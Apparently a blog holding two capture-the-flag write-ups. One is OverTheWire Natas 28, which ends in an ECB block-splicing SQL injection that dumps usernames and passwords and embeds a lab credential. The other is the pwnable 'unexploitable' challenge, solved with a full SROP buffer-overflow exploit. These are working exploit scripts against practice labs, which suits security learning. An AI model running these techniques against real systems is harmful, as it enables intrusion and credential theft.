Natas 28: Getting It Wrong

I wanted to show someone a good example of a PHP unserialize vulnerability, and remembered that the natas challenges had contained one. So I decided I would do all the challenges to find the one I was looking for, and because I thought it would be fun and easy. Largely I was right and I cruised right through them, found the unserialize one, and kept going. Until I got stopped dead at Natas 28. The problem was not that it was exceptionally difficult; the problem was my reluctance to question my original assumptions about the challenge. I started the challenge, entered a search query, messed with the resulting redirected url, and was presented with

Incorrect amount of PKCS#7 padding for blocksize

And I immediately thought “This is totally a Padding Oracle Attack“. I was certain of it. I then tested different input strings and examined the resulting ciphertext in the query parameter, and determined the block size was 16 bytes. I now had all the information I needed to create a program to decrypt the ciphertext and reveal the password that I thought would be waiting in it. I used this convenient Padding Oracle API, and was able to quickly create the right program by switching out some lines in the example. I ended up with the following code

from paddingoracle import BadPaddingException, PaddingOracle, xor
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somequery = quote(b64encode(data))
        #self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                #print "[*] Trying %s" % somequery
                headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}
                response = self.session.get('http://natas28.natas.labs.overthewire.org/search.php/?query='+somequery,
                        stream=False, timeout=5, verify=False, headers=headers)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if "Incorrect amount of PKCS#7 padding for blocksize" not in response.content:
            logging.debug('No padding exception raised on %r', somequery)
            return

        else:
			raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print 'Usage: %s <somequery value>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_query = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    query = padbuster.decrypt(encrypted_query, block_size=16, iv=bytearray(16))

    print('Decrypted somequery: %s => %r' % (sys.argv[1], query))

This is the right code to take the encrypted query parameter and return the decrypted ciphertext if my assumptions were correct. So I ran the program and it resulted in… gibberish. If it even was able to finish, which in general for 16 byte blocks it wasn’t. It would fail to decrypt some bytes. This is where I screwed up by not rethinking my assumptions about this challenge. Instead I assumed there was something wrong with the code. And when I was convinced that what I wrote was right I wondered if maybe the open source code I was relying on was wrong, so I went through it to make sure it was doing the right thing (it was). I read and reread about padding oracle attacks. I wondered if it was actually an 8 byte block cipher and somehow the additional bytes were being doubled.

Eventually I was still so convinced it was a POA that I asked someone online what I was doing wrong. And they told me to take another look at my assumptions about the cipher, particularly the block mode. I realized almost immediately that the block mode was actually ECB. If I hadn’t so blindly believed I was right in the beginning I would have noticed that the test queries and resulting ciphertexts could not possibly be the result of CBC.

Now that I knew it was ECB I decided to use a chosen plaintext attack, which would allow me to decrypt the portion of the ciphertext after the part that corresponded to the bytes of my query. I found another nice framework to carry this out, chosen-plaintext by EiNSeiN. Using this I produced the following code

import requests
from urllib import quote, unquote
from chosen_plaintext import ChosenPlaintext

class Client(ChosenPlaintext):

	def __init__(self):
		ChosenPlaintext.__init__(self)
		#self.block_size = 16
		#self.plaintext_offset = 32
		
		return

	def ciphertext(self, plaintext):

		print "[*] Trying plaintext: %s" % plaintext.encode("hex")
		headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}
		resp = requests.post("http://natas28.natas.labs.overthewire.org/index.php", data={"query": plaintext}, headers=headers)

		data = unquote(resp.url.split("query=")[1]).decode("base64")
		print "[*] Got ciphertext: %s" % unquote(resp.url.split("query=")[1]).decode("base64").encode("hex")
		
		return data

c = Client()
c.run()
print 'recovered', repr(c.plaintext)

But this code also failed after it found a single byte of plaintext: “%”! So again I thought the code must be wrong. However eventually I remembered that some query characters were being escaped which breaks the ability to perform the chosen plaintext attack beyond an occurrence of one of those characters. So now I knew the next two parts of the plaintext were % and an escaped character. After thinking for a little about it I concluded that it was %’ because it was the end of a SQL LIKE clause, something like “… WHERE joke_body LIKE ‘%{escaped_query}%’ …”. This fit the behavior of the script and made sense with those characters. So now I knew that the ciphertext was an ECB Mode Block Cipher encrypted SQL query. Now since ECB simply encrypts each block separately I could encrypt a block containing valid SQL syntax and then insert it after the %’ in the ciphertext in order to achieve SQL injection. The code below accomplishes this and prints out the password.

import requests
from urllib import quote, unquote
import re

from pwn import *

natas_url = "http://natas28.natas.labs.overthewire.org/index.php"
search_url = "http://natas28.natas.labs.overthewire.org/search.php/?query="

#authorization header
headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}

log.info("Retrieving first ciphertext")

#pad plaintext to ensure it takes up a full ciphertext block
plaintext = "A"*10 + "B"*14
resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)

#get the raw bytes of the ciphertext
encoded_ciphertext = resp.url.split("query=")[1]
ciphertext = unquote(encoded_ciphertext).decode("base64")

#sql to inject into ciphertext query
new_sql = " UNION ALL SELECT concat(username,0x3A,password) FROM users #"
log.info("Appending query: %s" % new_sql)

#pad plaintext to ensure it also takes up a whole number of ciphertext blocks
plaintext = "A"*10 + new_sql + "B"*(16-(len(new_sql)%16))
offset = 48 + len(plaintext)-10

resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)
encoded_new_ciphertext = resp.url.split("query=")[1]
new_ciphertext = unquote(encoded_new_ciphertext).decode("base64")
encrypted_sql = new_ciphertext[48:offset]

#add the encrypted new sql into the final ciphertext
final_ciphertext = ciphertext[:64]+encrypted_sql+ciphertext[64:]

resp = requests.get(search_url, params={"query":final_ciphertext.encode("base64")}, headers=headers)

log.info("Response: %s" % re.findall("<li>(.*?)</li>", resp.content)[0])

This was a surprising and interesting challenge. It nicely demonstrates the weakness of ECB block ciphers when the attacker is able to partially control plaintext. It also demonstrated to me that I should never be so sure of my initial assessment that I am blinded when new evidence appears.

Pwnable Challenge: Unexploitable

Unexploitable is the first Hackers Secret challenge. The solutions to these challenges are techniques that are not as widely known as the other challenges. I should have considered this before I wasted a lot of time trying normal ropchain stuff. Alright so heres the vulnerable program:

#include <stdio.h>
void main(){
	// no brute forcing
	sleep(3);
	// exploit me
	int buf[4];
	read(0, buf, 1295);
}

So the vulnerability here is a simple buffer overflow. However the NX bit is set and ASLR is on so its nontrivial to exploit it. My first attempts all involved trying to execute a execve syscall directly. This was futile for several reasons that will become clear once we look at the available ROP gadgets. I used to used ROPGadget made by the shellstorm guy (I think. I should check and give proper credit) but now I started using ropper. Its better in many ways and several of them are that its colorful. Heres the ropper output of all the available gadgets:

[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

0x000000000040040a: adc al, byte ptr [rcx]; add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x0000000000400408: add al, ch; adc al, byte ptr [rcx]; add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x0000000000400570: add al, ch; mov edx, 0xc9fffffe; ret; 
0x000000000040040d: add al, ch; or eax, 0x48000002; add esp, 8; ret; 
0x000000000040060f: add bl, dh; ret; 
0x0000000000400496: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x000000000040063f: add byte ptr [rax - 0x7d], cl; jmp 0x64c; call rax; 
0x000000000040056e: add byte ptr [rax], al; add al, ch; mov edx, 0xc9fffffe; ret; 
0x000000000040060d: add byte ptr [rax], al; add bl, dh; ret; 
0x000000000040056d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x430; leave; ret; 
0x0000000000400568: add byte ptr [rax], al; add byte ptr [rax], al; mov eax, 0; call 0x430; leave; ret; 
0x0000000000400569: add byte ptr [rax], al; add byte ptr [rax], bh; call 0x430; leave; ret; 
0x0000000000400411: add byte ptr [rax], al; add rsp, 8; ret; 
0x000000000040056f: add byte ptr [rax], al; call 0x430; leave; ret; 
0x0000000000400407: add byte ptr [rax], al; call 0x520; call 0x620; add rsp, 8; ret; 
0x000000000040040c: add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x000000000040056a: add byte ptr [rax], al; mov eax, 0; call 0x430; leave; ret; 
0x000000000040063e: add byte ptr [rax], al; sub rbx, 8; call rax; 
0x0000000000400531: add byte ptr [rax], al; test rax, rax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x000000000040056b: add byte ptr [rax], bh; call 0x430; leave; ret; 
0x000000000040063d: add byte ptr [rax], r8b; sub rbx, 8; call rax; 
0x000000000040050b: add byte ptr [rcx], al; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040040b: add dword ptr [rax], eax; add al, ch; or eax, 0x48000002; add esp, 8; ret; 
0x0000000000400492: add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x0000000000400492: add eax, 0x200b49; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400605: add esp, 0x38; ret; 
0x000000000040050e: add esp, 8; pop rbx; pop rbp; ret; 
0x0000000000400414: add esp, 8; ret; 
0x0000000000400604: add rsp, 0x38; ret; 
0x000000000040050d: add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400413: add rsp, 8; ret; 
0x00000000004005f3: and al, 0x18; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f8: and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005fd: and al, 0x28; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400602: and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400495: and byte ptr [rax], al; test rax, rax; je 0x49e; call rax; 
0x0000000000400495: and byte ptr [rax], al; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x00000000004005f9: and byte ptr [rbx + rcx*4 + 0x74], cl; and al, 0x28; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400571: call 0x430; leave; ret; 
0x000000000040065c: call 0x4b0; add rsp, 8; ret; 
0x0000000000400409: call 0x520; call 0x620; add rsp, 8; ret; 
0x000000000040040e: call 0x620; add rsp, 8; ret; 
0x000000000040049c: call rax; 
0x000000000040049c: call rax; add rsp, 8; ret; 
0x0000000000400631: cmp eax, 0xff; je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x000000000040064a: cmp eax, 0xff; jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400630: cmp rax, 0xff; je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400649: cmp rax, 0xff; jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400575: dec ecx; ret; 
0x0000000000400503: fdiv dword ptr [rdx - 0x1e]; mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x00000000004005dc: fmul qword ptr [rax - 0x7d]; ret; 
0x000000000040048e: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x00000000004005f7: insb byte ptr [rdi], dx; and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400504: jb 0x4e8; mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040049a: je 0x49e; call rax; 
0x000000000040049a: je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400536: je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400536: je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x00000000004005fc: je 0x622; sub byte ptr [rbx + rcx*4 + 0x7c], cl; and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400634: je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400642: jmp 0x64c; call rax; 
0x000000000040053e: jmp rax; 
0x000000000040053e: jmp rax; pop rbp; ret; 
0x000000000040064d: jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400506: mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040056c: mov eax, 0; call 0x430; leave; ret; 
0x0000000000400491: mov eax, dword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400491: mov eax, dword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x00000000004005f6: mov ebp, dword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400636: mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400567: mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x0000000000400539: mov edi, 0x600e48; jmp rax; 
0x0000000000400539: mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x0000000000400600: mov edi, dword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400572: mov edx, 0xc9fffffe; ret; 
0x00000000004005fb: mov esi, dword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400565: mov esi, eax; mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x00000000004005f1: mov esp, dword ptr [rsp + 0x18]; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f0: mov r12, qword ptr [rsp + 0x18]; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f5: mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005fa: mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005ff: mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400490: mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400490: mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400564: mov rsi, rax; mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x000000000040063b: nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x000000000040048f: or byte ptr [rax - 0x75], cl; add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x0000000000400510: or byte ptr [rbx + 0x5d], bl; ret; 
0x000000000040040f: or eax, 0x48000002; add esp, 8; ret; 
0x0000000000400494: or esp, dword ptr [rax]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x0000000000400509: or esp, dword ptr [rax]; add byte ptr [rcx], al; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400493: or rsp, qword ptr [r8]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x0000000000400538: pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400538: pop rbp; mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x0000000000400512: pop rbp; ret; 
0x0000000000400511: pop rbx; pop rbp; ret; 
0x000000000040064c: push qword ptr [rbp - 0xf]; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400442: ret 0x200b; 
0x0000000000400297: ret 1; 
0x0000000000400499: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004005f4: sbb byte ptr [rbx + rcx*4 + 0x6c], cl; and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400635: sbb dword ptr [rbx + 0x600e28], edi; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x00000000004005fe: sub byte ptr [rbx + rcx*4 + 0x7c], cl; and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400641: sub ebx, 8; call rax; 
0x0000000000400659: sub esp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048d: sub esp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400640: sub rbx, 8; call rax; 
0x0000000000400658: sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048c: sub rsp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400498: test eax, eax; je 0x49e; call rax; 
0x0000000000400498: test eax, eax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400534: test eax, eax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400497: test rax, rax; je 0x49e; call rax; 
0x0000000000400497: test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400533: test rax, rax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x000000000040064b: clc; push qword ptr [rbp - 0xf]; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040064e: int1; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400576: leave; ret; 
0x0000000000400657: nop; sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048b: nop; sub rsp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400656: nop; nop; sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x0000000000400417: ret; 
0x0000000000400560: syscall; 

Alright so there are several problems here. The first is that there is no way to control rax to set it to the number of our syscall. This is surmountable however. The insurmountable issue is that there is no way to control rdi only edi… wait I’m now realizing that I could have done it just by using the edi gadget. Shit… I learned about SROP for nothing… Wait no theres no gadget to set rdx/edx so I still think SROP is the way to go.

SROP is stands for sigreturn return oriented programming. It uses the sigreturn syscall to set all registers to attacker-controlled memory on the stack. I learned about it from this page. This allows us to set the registers necessary to execute a execve syscall. So here is the working exploit code using SROP to execute execv:

#sploitz brah
#unexploitable local sploit

import subprocess
import struct
import time
import os

#write cat flag command into our file named \x01
catflagfile = open("/tmp/\x01", "w+")
catflagfile.write("#!/bin/sh\n/bin/cat /home/unexploitable/flag")
catflagfile.close()

#make file executable
os.chmod("/tmp/\x01", 755)

#start the unexploitable process
p = subprocess.Popen(['/home/unexploitable/unexploitable'], env={"PATH": "/tmp"}, stdout=subprocess.PIPE,stdin=subprocess.PIPE)

#create SROP buffer
ropbuffer = ""
ropbuffer += "JUNK"*6                                # JUNK before address overwrite
ropbuffer += struct.pack("<Q",0x0000000000400430)    # address of read.plt to put the value 0xf in eax
ropbuffer += struct.pack("<Q",0x0000000000400560)    # address of syscall to call sigreturn
ropbuffer += struct.pack("<Q",0x0000000000000000)*13 # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000600e50)    # address of 0x0000000000000001 (RDI, argv[0], our catflagfile)
ropbuffer += struct.pack("<Q",0x0000000000400fe8)    # pointer to 0x0000000000600e50 (RSI, argv)
ropbuffer += struct.pack("<Q",0x0000000000000000)*2  # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000000000)    # pointer to nothing for the env (RDX)
ropbuffer += struct.pack("<Q",0x000000000000003b)    # rax value for the execve syscall
ropbuffer += struct.pack("<Q",0x0000000000000000)*2  # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000400560)    # address of syscall to call execve
ropbuffer += struct.pack("<Q",0x0000000000000000)    # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000000033)    # cs value to not segfault
ropbuffer += struct.pack("<Q",0x0000000000000000)*90 # empty context stuff

#send srop buffer after waiting
time.sleep(3)
p.stdin.write(ropbuffer+"\n")
time.sleep(1)
p.stdin.write("A"*14 + "\n")
time.sleep(1)

print "FLAG: %s" % p.stdout.read().strip()
os.remove("/tmp/\x01")

The first part creates a file named “\x01” with contents that will print out the flag when executed with the proper privileges. The filename is “\x01” because that was the first valid filename string I could find at a reliable address that could be used for the execve(argv[0], argv, env) syscall. A valid argv array needs to first have a pointer to the address of the filename and also needs to be 8 byte null terminated. The only “string” that I could find fitting these requirements was “\x01” located at 0x0000000000600e50 which is pointed to by 0x0000000000400fe8. The program is executed with the PATH set to /tmp so that the file is accessible using just “\x01”.

The ROP buffer starts with a trick to get the syscall number of sigreturn (0xf) into rax by calling read via the plt and inputting 15 chars (the A’s below). The next address in the chain is the address of syscall. If you look in the ropper output you’ll see that it is not a “syscall; ret” but thats alright because sigreturn will allow us to return to the address of our choosing. The rest of the ropbuffer is the ucontext structure that restores the context after a signal and which allows us to set the registers to the right values to execute the execve syscall. The important parts of the context are described in the comments.

This is the whole of the exploit. SROP is a pretty amazing tool to achieve code execution when the available ROP gadgets are limited. I hadn’t known about it before so this was actually a really helpful challenge for me.